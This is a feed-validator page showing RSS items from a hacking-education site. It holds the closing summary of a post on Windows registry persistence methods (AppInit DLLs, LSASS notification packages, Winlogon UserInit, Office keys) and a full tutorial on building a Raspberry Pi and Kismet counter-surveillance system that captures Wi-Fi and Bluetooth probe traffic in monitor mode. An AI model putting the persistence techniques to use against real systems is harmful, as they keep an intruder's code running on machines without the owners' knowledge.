  2249. <p>Windows persistence through registry modifications offers multiple paths, from legacy AppInit DLL injection to LSASS notification packages, Winlogon UserInit hijacking, and Office registry keys under HKCU. Each of these methods survives reboots, ensuring repeated code execution, but they vary in scope and stealth. AppInit and Office rely on application startup, while LSASS and Winlogon provide broader and more privileged coverage. All require different levels of access, with the most powerful options also being the loudest in telemetry and the riskiest to system stability. For defenders, the key takeaway is clear: monitoring critical registry keys under HKLM and HKCU, watching for unusual DLL or executable loads, and ensuring proper auditing are essential.</p><p>The post <a href="https://hackers-arise.com/advanced-windows-persistence-part-2-using-the-registry-to-maintain-persistence/">Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  2250. </item>
  2251. <item>
  2252. <title>Counter-Surveillance: How to Know Whether You Are Being Followed</title>
  2253. <link>https://hackers-arise.com/physical-surveillance-detection-using-chasing-your-tail-to-know-if-youre-being-followed/</link>
  2254. <dc:creator><![CDATA[aircorridor]]></dc:creator>
  2255. <pubDate>Mon, 08 Sep 2025 13:52:37 +0000</pubDate>
  2256. <category><![CDATA[Physical Security]]></category>
  2257. <guid isPermaLink="false">https://hackers-arise.com/?p=17955</guid>
  2258.  
  2259. <description><![CDATA[<p>Welcome back, aspiring cyberwarriors! In our line of work, situational awareness is everything. Whether you&#8217;re conducting a sensitive penetration test, meeting with a whistleblower, or simply need to know if that black sedan has been behind you for the last three stops &#8211; having the ability to detect physical surveillance could be the difference between [&#8230;]</p>
  2260. <p>The post <a href="https://hackers-arise.com/physical-surveillance-detection-using-chasing-your-tail-to-know-if-youre-being-followed/">Counter-Surveillance: How to Know Whether You Are Being Followed</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  2261. <content:encoded><![CDATA[<p>Welcome back, aspiring cyberwarriors!</p>
  2262.  
  2263.  
  2264.  
  2265. <p>In our line of work, situational awareness is everything. Whether you&#8217;re conducting a sensitive penetration test, meeting with a whistleblower, or simply need to know if that black sedan has been behind you for the last three stops &#8211; having the ability to detect physical surveillance could be the difference between mission success and complete compromise.</p>
  2266.  
  2267.  
  2268.  
  2269. <p>Traditional counter-surveillance requires extensive training and constant vigilance. But nowadays, a simple Raspberry Pi setup could be your digital eyes and ears, automatically detecting if the same digital signatures are following you from location to location.</p>
  2270.  
  2271.  
  2272.  
  2273. <p>As you know, every device around us is constantly broadcasting its digital fingerprints through Wi-Fi probe requests, Bluetooth advertisements, and other wireless signals. A skilled operative or private investigator following you will likely have multiple devices &#8211; phones, tablets, surveillance equipment &#8211; all creating a unique digital signature that can be tracked.</p>
  2274.  
  2275.  
  2276.  
  2277. <p>Matt Edmondson, a digital forensics expert, presented this great technique at Black Hat USA 2022. The concept is elegantly simple: if you see the same devices at Starbucks, then at the gas station, then at the bookstore &#8211; somebody might be following you. Let&#8217;s learn how to build and deploy this powerful surveillance detection system!</p>
  2278.  
  2279.  
  2280.  
  2281. <h2 class="wp-block-heading"><strong>What is &#8220;Chasing Your Tail&#8221;?</strong></h2>
  2282.  
  2283.  
  2284.  
  2285. <p>&#8220;Chasing Your Tail&#8221; is a comprehensive Wi-Fi and Bluetooth surveillance detection system that passively monitors wireless devices in your vicinity. By analyzing probe requests and device persistence across multiple locations and time windows, it can identify potential surveillance with remarkable accuracy.</p>
  2286.  
  2287.  
  2288.  
  2289. <p>The system works by:</p>
  2290.  
  2291.  
  2292.  
  2293. <ul class="wp-block-list">
  2294. <li>Passively capturing Wi-Fi probe requests and Bluetooth advertisements</li>
  2295.  
  2296.  
  2297.  
  2298. <li>Creating time-based persistence profiles of nearby devices</li>
  2299.  
  2300.  
  2301.  
  2302. <li>Correlating device appearances across multiple locations</li>
  2303.  
  2304.  
  2305.  
  2306. <li>Generating alerts when suspicious patterns emerge</li>
  2307.  
  2308.  
  2309.  
  2310. <li>Providing GPS-correlated tracking and professional visualizations</li>
  2311. </ul>
  2312.  
  2313.  
  2314.  
  2315. <h2 class="wp-block-heading"><strong>Hardware Arsenal</strong></h2>
  2316.  
  2317.  
  2318.  
  2319. <p>For this operation, you&#8217;ll need some basic hardware. The beauty of this system is that it uses common, inexpensive components that won&#8217;t raise suspicion:</p>
  2320.  
  2321.  
  2322.  
  2323. <p><strong>Essential Gear:</strong></p>
  2324.  
  2325.  
  2326.  
  2327. <ul class="wp-block-list">
  2328. <li><strong>Raspberry Pi</strong></li>
  2329.  
  2330.  
  2331.  
  2332. <li><strong>Wi-Fi adapter with monitor mode support</strong></li>
  2333.  
  2334.  
  2335.  
  2336. <li><strong>Portable battery pack</strong> &#8211; For extended operations</li>
  2337.  
  2338.  
  2339.  
  2340. <li><strong>Small display screen</strong> &#8211; For real-time monitoring (optional but recommended)</li>
  2341.  
  2342.  
  2343.  
  2344. <li><strong>32GB+ SD card</strong> &#8211; For data storage and logging</li>
  2345. </ul>
  2346.  
  2347.  
  2348.  
  2349. <p><strong>Professional Setup:</strong></p>
  2350.  
  2351.  
  2352.  
  2353. <ul class="wp-block-list">
  2354. <li><strong>Multiple Wi-Fi adapters</strong> &#8211; For enhanced coverage</li>
  2355.  
  2356.  
  2357.  
  2358. <li><strong>External GPS module</strong> &#8211; For precise location correlation</li>
  2359.  
  2360.  
  2361.  
  2362. <li><strong>Pelican case or similar</strong> &#8211; For protecting your gear</li>
  2363. </ul>
  2364.  
  2365.  
  2366.  
  2367. <h2 class="wp-block-heading">Software <strong>Arsenal</strong></h2>
  2368.  
  2369.  
  2370.  
  2371. <p>We&#8217;ll be deploying several key components:</p>
  2372.  
  2373.  
  2374.  
  2375. <p><strong>Kismet</strong> &#8211; Our primary packet capture engine. This open-source tool captures Wi-Fi, Bluetooth, and other wireless protocols, storing everything in SQLite databases for analysis.</p>
  2376.  
  2377.  
  2378.  
  2379. <p><strong>Chasing Your Tail NG</strong> &#8211; The enhanced, security-hardened version of the original tool with GPS integration, advanced analytics, and professional reporting.</p>
  2380.  
  2381.  
  2382.  
  2383. <p><strong>WiGLE API Integration</strong> &#8211; For correlating captured SSIDs with global geolocation data (optional).</p>
  2384.  
  2385.  
  2386.  
  2387. <h2 class="wp-block-heading">Step #1: Base System Setup</h2>
  2388.  
  2389.  
  2390.  
  2391. <p>First, we need to prepare our Linux environment. I’m using a Raspberry Pi 4, but technically any version should be suitable.</p>
  2392.  
  2393.  
  2394.  
  2395. <p>Install the essential packages:</p>
  2396.  
  2397.  
  2398.  
  2399. <p><strong>raspberrypi> sudo apt install build-essential git libwebsockets-dev pkg-config \ zlib1g-dev libnl-3-dev libnl-genl-3-dev libcap-dev libpcap-dev \ libnm-dev libdw-dev libsqlite3-dev libprotobuf-dev libprotobuf-c-dev \ protobuf-compiler protobuf-c-compiler libsensors-dev libusb-1.0-0-dev \ python3 python3-setuptools python3-protobuf python3-requests \ python3-numpy python3-serial python3-usb python3-dev python3-websockets \ libubertooth-dev libbtbb-dev libmosquitto-dev librtlsdr-dev</strong></p>
  2400.  
  2401.  
  2402.  
  2403. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="881" height="370" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_packages.webp" alt="" class="wp-image-17956" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_packages.webp 881w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_packages-300x126.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_packages-768x323.webp 768w" sizes="(max-width: 881px) 100vw, 881px" /></figure>
  2404.  
  2405.  
  2406.  
  2407. <h2 class="wp-block-heading">Step #2: Install Kismet</h2>
  2408.  
  2409.  
  2410.  
  2411. <p>Firstly download the source code:</p>
  2412.  
  2413.  
  2414.  
  2415. <p><strong>raspberrypi> git clone <a href="https://www.kismetwireless.net/git/kismet.git">https://www.kismetwireless.net/git/kismet.git</a></strong></p>
  2416.  
  2417.  
  2418.  
  2419. <p><strong>raspberrypi> cd kismet</strong></p>
  2420.  
  2421.  
  2422.  
  2423. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="881" height="232" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone.webp" alt="" class="wp-image-17957" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone.webp 881w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone-300x79.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone-768x202.webp 768w" sizes="(max-width: 881px) 100vw, 881px" /></figure>
  2424.  
  2425.  
  2426.  
  2427. <p>Run the configure script to prepare the source code for your system by checking dependencies and generating a custom build configuration.</p>
  2428.  
  2429.  
  2430.  
  2431. <p><strong>raspberrypi> ./configure</strong></p>
  2432.  
  2433.  
  2434.  
  2435. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="884" height="282" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_configure.webp" alt="" class="wp-image-17958" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_configure.webp 884w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_configure-300x96.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_configure-768x245.webp 768w" sizes="(max-width: 884px) 100vw, 884px" /></figure>
  2436.  
  2437.  
  2438.  
  2439. <p>Next, compile the source code into binaries using <code>make</code>. To learn more about the <code>make</code> command in Linux, check out this <a href="https://hackers-arise.com/linux-basics-for-hackers-the-make-command-compiling-and-installing-software-from-source-in-linux/" title="">article</a>.</p>
  2440.  
  2441.  
  2442.  
  2443. <p><strong>raspberrypi> make</strong></p>
  2444.  
  2445.  
  2446.  
  2447. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="235" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_make.webp" alt="" class="wp-image-17960" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_make.webp 883w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_make-300x80.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_make-768x204.webp 768w" sizes="(max-width: 883px) 100vw, 883px" /></figure>
  2448.  
  2449.  
  2450.  
  2451. <p>It’s important to keep in mind that on a Raspberry Pi, even with swap enabled, compiling a large project like Kismet will be slow. Depending on the CPU speed and RAM size, it may take hours.</p>
  2452.  
  2453.  
  2454.  
  2455. <p>By the way, if you encounter an error similar to the one below:</p>
  2456.  
  2457.  
  2458.  
  2459. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="881" height="174" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_error.webp" alt="" class="wp-image-17961" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_error.webp 881w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_error-300x59.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_error-768x152.webp 768w" sizes="(max-width: 881px) 100vw, 881px" /></figure>
  2460.  
  2461.  
  2462.  
  2463. <p>Consider increasing the swap size, especially if you decide to run not just <code>make</code> but <code>make -j$(nproc)</code>. The <code>-jN</code> option tells <code>make</code> to run <em>N</em> jobs in parallel, and <code>$(nproc)</code> expands to the number of CPU cores (on a Raspberry Pi 4 → 4). However, using this command can be risky because you might encounter an OOM (Out of Memory) error.</p>
  2464.  
  2465.  
  2466.  
  2467. <p>Finally, we can install Kismet. In general, you should install Kismet as <code>suid-root</code>; it will automatically create a group and install the capture binaries accordingly. When installed as <code>suid-root</code>, Kismet launches the binaries that control channels and interfaces with the required privileges, while keeping packet decoding and the web interface running without root privileges.</p>
  2468.  
  2469.  
  2470.  
  2471. <p><strong>raspberrypi> sudo make suidinstall</strong></p>
  2472.  
  2473.  
  2474.  
  2475. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="886" height="297" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_suidinstall.webp" alt="" class="wp-image-17963" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_suidinstall.webp 886w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_suidinstall-300x101.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_suidinstall-768x257.webp 768w" sizes="(max-width: 886px) 100vw, 886px" /></figure>
  2476.  
  2477.  
  2478.  
  2479. <p><code>make suidinstall </code>will automatically create a <code>kismet </code>group. To run Kismet, your user needs to be part of this group. So let’s add our user to this group.</p>
  2480.  
  2481.  
  2482.  
  2483. <p><strong>raspberrypi> sudo usermod -aG kismet</strong></p>
  2484.  
  2485.  
  2486.  
  2487. <p>Groups are not updated automatically; you will need to reload the groups for your user.</p>
  2488.  
  2489.  
  2490.  
  2491. <p>Either log back out and log in, or in some cases, reboot.</p>
  2492.  
  2493.  
  2494.  
  2495. <p>Check that you are in the Kismet group with:</p>
  2496.  
  2497.  
  2498.  
  2499. <p><strong>raspberrypi> groups</strong></p>
  2500.  
  2501.  
  2502.  
  2503. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="891" height="529" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_groups.webp" alt="" class="wp-image-17964" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_groups.webp 891w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_groups-300x178.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_groups-768x456.webp 768w" sizes="(max-width: 891px) 100vw, 891px" /></figure>
  2504.  
  2505.  
  2506.  
  2507. <p>If you are not in the kismet group, you should log out and log back in, or reboot &#8211; some session and desktop managers don’t reload the groups on logout, either.</p>
  2508.  
  2509.  
  2510.  
  2511. <h2 class="wp-block-heading"><strong>Step #3: Install Chasing Your Tail NG</strong></h2>
  2512.  
  2513.  
  2514.  
  2515. <p><strong>raspberrypi>git clone https://github.com/ArgeliusLabs/Chasing-Your-Tail-NG.git</strong></p>
  2516.  
  2517.  
  2518.  
  2519. <p><strong>raspberrypi> cd Chasing-Your-Tail-NG</strong></p>
  2520.  
  2521.  
  2522.  
  2523. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="885" height="232" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone_chaising_tail.webp" alt="" class="wp-image-17966" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone_chaising_tail.webp 885w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone_chaising_tail-300x79.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_clone_chaising_tail-768x201.webp 768w" sizes="(max-width: 885px) 100vw, 885px" /></figure>
  2524.  
  2525.  
  2526.  
  2527. <p>After downloading we need to install the required packages.</p>
  2528.  
  2529.  
  2530.  
  2531. <p><strong>raspberrypi> pip3 install -r requirements.txt &#8211;break-system-packages</strong></p>
  2532.  
  2533.  
  2534.  
  2535. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="226" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_requirements.webp" alt="" class="wp-image-17967" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_requirements.webp 883w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_requirements-300x77.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_requirements-768x197.webp 768w" sizes="(max-width: 883px) 100vw, 883px" /></figure>
  2536.  
  2537.  
  2538.  
  2539. <p>In the command below, I’ve used –break-system-packages flag to <strong>forces the install even if it might conflict</strong> with system packages.</p>
  2540.  
  2541.  
  2542.  
  2543. <h2 class="wp-block-heading"><strong>Step #5: Security Hardening</strong></h2>
  2544.  
  2545.  
  2546.  
  2547. <p>The current version of “Chasing Your Tail” includes security hardening to prevent SQL injection attacks and secure credential management. Run the migration script:</p>
  2548.  
  2549.  
  2550.  
  2551. <p><strong>raspberrypi> python3 migrate_credentials.py</strong></p>
  2552.  
  2553.  
  2554.  
  2555. <p>This script eliminates critical vulnerabilities and sets up encrypted credential storage. Verify the security implementation:</p>
  2556.  
  2557.  
  2558.  
  2559. <p><strong>raspberrypi> python3 chasing_your_tail.py</strong></p>
  2560.  
  2561.  
  2562.  
  2563. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="443" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_security_hardening.webp" alt="" class="wp-image-17968" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_security_hardening.webp 883w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_security_hardening-300x151.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_security_hardening-768x385.webp 768w" sizes="(max-width: 883px) 100vw, 883px" /></figure>
  2564.  
  2565.  
  2566.  
  2567. <p>Here we can see different warnings and errors, but those aren’t important for us right now. What matters is the INFO message confirming that the configuration loaded with secure credential management.</p>
  2568.  
  2569.  
  2570.  
  2571. <h2 class="wp-block-heading"><strong>Step #6: Configuration</strong></h2>
  2572.  
  2573.  
  2574.  
  2575. <p>Now we need to configure our system for optimal surveillance detection. Edit the main configuration:</p>
  2576.  
  2577.  
  2578.  
  2579. <p><strong>raspberrypi> nano config.json</strong></p>
  2580.  
  2581.  
  2582.  
  2583. <p>Example of the configurations:</p>
  2584.  
  2585.  
  2586.  
  2587. <pre class="wp-block-code"><code>{
  2588.  "paths": {
  2589.    "base_dir": ".",
  2590.    "log_dir": "logs",
  2591.    "kismet_logs": "/home/pi/Chasing-Your-Tail-NG/*.kismet",
  2592.    "ignore_lists": {
  2593.      "mac": "mac_list.py",
  2594.      "ssid": "ssid_list.py"
  2595.    }
  2596.  },
  2597.  "timing": {
  2598.    "check_interval": 60,
  2599.    "list_update_interval": 5,
  2600.    "time_windows": {
  2601.      "recent": 5,
  2602.      "medium": 10,
  2603.      "old": 15,
  2604.      "oldest": 20
  2605.    }
  2606.  },
  2607.  "search": {
  2608.    "lat_min": 31.3,
  2609.    "lat_max": 37.0,
  2610.    "lon_min": -114.8,
  2611.    "lon_max": -109.0
  2612.  }
  2613. }</code></pre>
  2614.  
  2615.  
  2616.  
  2617. <p>Key settings:</p>
  2618.  
  2619.  
  2620.  
  2621. <ul class="wp-block-list">
  2622. <li><strong>tim</strong><strong>ing</strong>: Overlapping surveillance detection windows</li>
  2623.  
  2624.  
  2625.  
  2626. <li><strong>kismet_logs</strong>: Path to the log directory</li>
  2627. </ul>
  2628.  
  2629.  
  2630.  
  2631. <h2 class="wp-block-heading">Step #7: Wireless Interface Configuration</h2>
  2632.  
  2633.  
  2634.  
  2635. <p>Your Wi-Fi adapter MUST support monitor mode. Test your setup:</p>
  2636.  
  2637.  
  2638.  
  2639. <p><strong>raspberrypi> sudo airmon-ng start wlan0</strong></p>
  2640.  
  2641.  
  2642.  
  2643. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="882" height="434" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_monitor_mode.webp" alt="" class="wp-image-17969" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_monitor_mode.webp 882w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_monitor_mode-300x148.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_monitor_mode-768x378.webp 768w" sizes="(max-width: 882px) 100vw, 882px" /></figure>
  2644.  
  2645.  
  2646.  
  2647. <p>Replace <code>wlan</code>1 with your actual interface. This should create a monitor interface (usually <code>wlan1mon</code>). If this fails, your adapter doesn’t support monitor mode — you’ll need different hardware.</p>
  2648.  
  2649.  
  2650.  
  2651. <p>In my case, I’m using a TP-Link Wi-Fi adapter with the RTL8xxxu chipset, which requires additional setup to work. If you’re using, for example, an Alfa AWUS036ACS adapter, you likely won’t encounter any issues with enabling monitor mode. But for the sake of clarity, I’ll briefly show you how I set it up:</p>
  2652.  
  2653.  
  2654.  
  2655. <p>List physical wireless devices:</p>
  2656.  
  2657.  
  2658.  
  2659. <p><strong>raspberrypi> iw phy</strong></p>
  2660.  
  2661.  
  2662.  
  2663. <p>Look for the one corresponding to <code>wlan1</code> (in my case, it’s <code>phy1</code>).</p>
  2664.  
  2665.  
  2666.  
  2667. <p>Add a new monitor-mode virtual interface (e.g., <code>mon0</code>):</p>
  2668.  
  2669.  
  2670.  
  2671. <p><strong>raspberrypi> sudo iw phy phy1 interface add mon0 type monitor</strong></p>
  2672.  
  2673.  
  2674.  
  2675. <p>Bring up the new monitor interface:</p>
  2676.  
  2677.  
  2678.  
  2679. <p><strong>raspberrypi> sudo ip link set mon0 up</strong></p>
  2680.  
  2681.  
  2682.  
  2683. <p>Stop NetworkManager only on the specific interface you want to monitor, not the entire service:</p>
  2684.  
  2685.  
  2686.  
  2687. <p><strong>raspberrypi> sudo nmcli dev set wlan1 managed no</strong></p>
  2688.  
  2689.  
  2690.  
  2691. <h2 class="wp-block-heading">Step #7: Deploying</h2>
  2692.  
  2693.  
  2694.  
  2695. <p>Terminal 1 &#8211; Start Kismet:</p>
  2696.  
  2697.  
  2698.  
  2699. <p><strong>raspberrypi> ./start_kismet_clean.sh</strong></p>
  2700.  
  2701.  
  2702.  
  2703. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="885" height="231" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_error.webp" alt="" class="wp-image-17972" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_error.webp 885w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_error-300x78.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_error-768x200.webp 768w" sizes="(max-width: 885px) 100vw, 885px" /></figure>
  2704.  
  2705.  
  2706.  
  2707. <p>You might see the following error due to a hardcoded path. Edit it to the correct one using your favorite text editor. In my case, the correct directory is <code>/home/pi/Chasing-Your-Tail-NG</code>:</p>
  2708.  
  2709.  
  2710.  
  2711. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="885" height="462" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_config.webp" alt="" class="wp-image-17973" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_config.webp 885w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_config-300x157.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet_config-768x401.webp 768w" sizes="(max-width: 885px) 100vw, 885px" /></figure>
  2712.  
  2713.  
  2714.  
  2715. <p>Also, check that the starting command for Kismet uses the correct interface. After these changes, the Kismet script should not print any errors.</p>
  2716.  
  2717.  
  2718.  
  2719. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="895" height="146" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet.webp" alt="" class="wp-image-17974" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet.webp 895w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet-300x49.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_start_kismet-768x125.webp 768w" sizes="(max-width: 895px) 100vw, 895px" /></figure>
  2720.  
  2721.  
  2722.  
  2723. <p>Terminal 2 &#8211; Launch Core Monitoring:</p>
  2724.  
  2725.  
  2726.  
  2727. <p><strong>raspberrypi> python3 chasing_your_tail.py</strong></p>
  2728.  
  2729.  
  2730.  
  2731. <p>You’ll see an output like below.</p>
  2732.  
  2733.  
  2734.  
  2735. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="884" height="436" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_core_monitoring.webp" alt="" class="wp-image-17975" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_core_monitoring.webp 884w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_core_monitoring-300x148.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_core_monitoring-768x379.webp 768w" sizes="(max-width: 884px) 100vw, 884px" /></figure>
  2736.  
  2737.  
  2738.  
  2739. <p>Terminal 3 &#8211; Real-time Analysis:</p>
  2740.  
  2741.  
  2742.  
  2743. <p><strong>raspberrypi> python3 surveillance_analyzer.py</strong></p>
  2744.  
  2745.  
  2746.  
  2747. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="886" height="482" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_real_time_analysys.webp" alt="" class="wp-image-17976" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_real_time_analysys.webp 886w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_real_time_analysys-300x163.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_real_time_analysys-768x418.webp 768w" sizes="(max-width: 886px) 100vw, 886px" /></figure>
  2748.  
  2749.  
  2750.  
  2751. <p>After running the script, we’ll receive professional intelligence reports in both MD and HTML formats.</p>
  2752.  
  2753.  
  2754.  
  2755. <p>Example of the report:</p>
  2756.  
  2757.  
  2758.  
  2759. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="799" height="337" src="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_report.png" alt="" class="wp-image-17977" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/cyt_report.png 799w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_report-300x127.png 300w, https://hackers-arise.com/wp-content/uploads/2025/09/cyt_report-768x324.png 768w" sizes="(max-width: 799px) 100vw, 799px" /></figure>
  2760.  
  2761.  
  2762.  
  2763. <h2 class="wp-block-heading">Understanding the Intelligence</h2>
  2764.  
  2765.  
  2766.  
  2767. <h3 class="wp-block-heading">Time Window Analysis</h3>
  2768.  
  2769.  
  2770.  
  2771. <p>The system maintains four overlapping surveillance detection windows:</p>
  2772.  
  2773.  
  2774.  
  2775. <ul class="wp-block-list">
  2776. <li><strong>Recent</strong>: Past 5 minutes &#8211; immediate threats</li>
  2777.  
  2778.  
  2779.  
  2780. <li><strong>Medium</strong>: 5-10 minutes ago &#8211; establishing patterns</li>
  2781.  
  2782.  
  2783.  
  2784. <li><strong>Old</strong>: 10-15 minutes ago &#8211; confirming persistence</li>
  2785.  
  2786.  
  2787.  
  2788. <li><strong>Oldest</strong>: 15-20 minutes ago &#8211; long-term tracking</li>
  2789. </ul>
  2790.  
  2791.  
  2792.  
  2793. <h3 class="wp-block-heading">Threat Assessment Algorithms</h3>
  2794.  
  2795.  
  2796.  
  2797. <p>The system uses advanced algorithms to analyze:</p>
  2798.  
  2799.  
  2800.  
  2801. <ul class="wp-block-list">
  2802. <li><strong>Temporal Persistence</strong>: How consistently devices appear over time</li>
  2803.  
  2804.  
  2805.  
  2806. <li><strong>Location Correlation</strong>: Devices following you across multiple locations</li>
  2807.  
  2808.  
  2809.  
  2810. <li><strong>Probe Pattern Analysis</strong>: Suspicious network search behaviors</li>
  2811.  
  2812.  
  2813.  
  2814. <li><strong>GPS Correlation</strong>: Physical movement patterns matching your own</li>
  2815. </ul>
  2816.  
  2817.  
  2818.  
  2819. <h3 class="wp-block-heading">Persistence Scoring</h3>
  2820.  
  2821.  
  2822.  
  2823. <p>Each device receives a threat score (0-1.0):</p>
  2824.  
  2825.  
  2826.  
  2827. <ul class="wp-block-list">
  2828. <li><strong>0.0-0.3</strong>: Background noise, likely benign</li>
  2829.  
  2830.  
  2831.  
  2832. <li><strong>0.4-0.6</strong>: Possible coincidence, worth monitoring</li>
  2833.  
  2834.  
  2835.  
  2836. <li><strong>0.7-0.8</strong>: High probability of surveillance</li>
  2837.  
  2838.  
  2839.  
  2840. <li><strong>0.9-1.0</strong>: Active surveillance confirmed</li>
  2841. </ul>
  2842.  
  2843.  
  2844.  
  2845. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  2846.  
  2847.  
  2848.  
  2849. <p>In this tutorial, we covered the complete deployment of &#8220;Chasing Your Tail&#8221; &#8211; from hardware selection and security-hardened installation to operational deployment and professional intelligence analysis for detecting physical surveillance.</p>
  2850.  
  2851.  
  2852.  
  2853. <p>&#8220;Chasing Your Tail&#8221; is a big step forward in personal counter-surveillance. It uses common hardware and open-source software to give people powerful tools that used to require lots of training and expensive gear.</p>
  2854.  
  2855.  
  2856.  
  2857. <p>With features like real-time monitoring, GPS tracking, smart analysis, and clear visual displays, it helps users stay aware in risky situations.</p>
  2858.  
  2859.  
  2860.  
  2861. <p></p><p>The post <a href="https://hackers-arise.com/physical-surveillance-detection-using-chasing-your-tail-to-know-if-youre-being-followed/">Counter-Surveillance: How to Know Whether You Are Being Followed</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  2862. </item>
  2863. </channel>
  2864. </rss>
  2865.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//www.hackers-arise.com/blog-feed.xml

Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda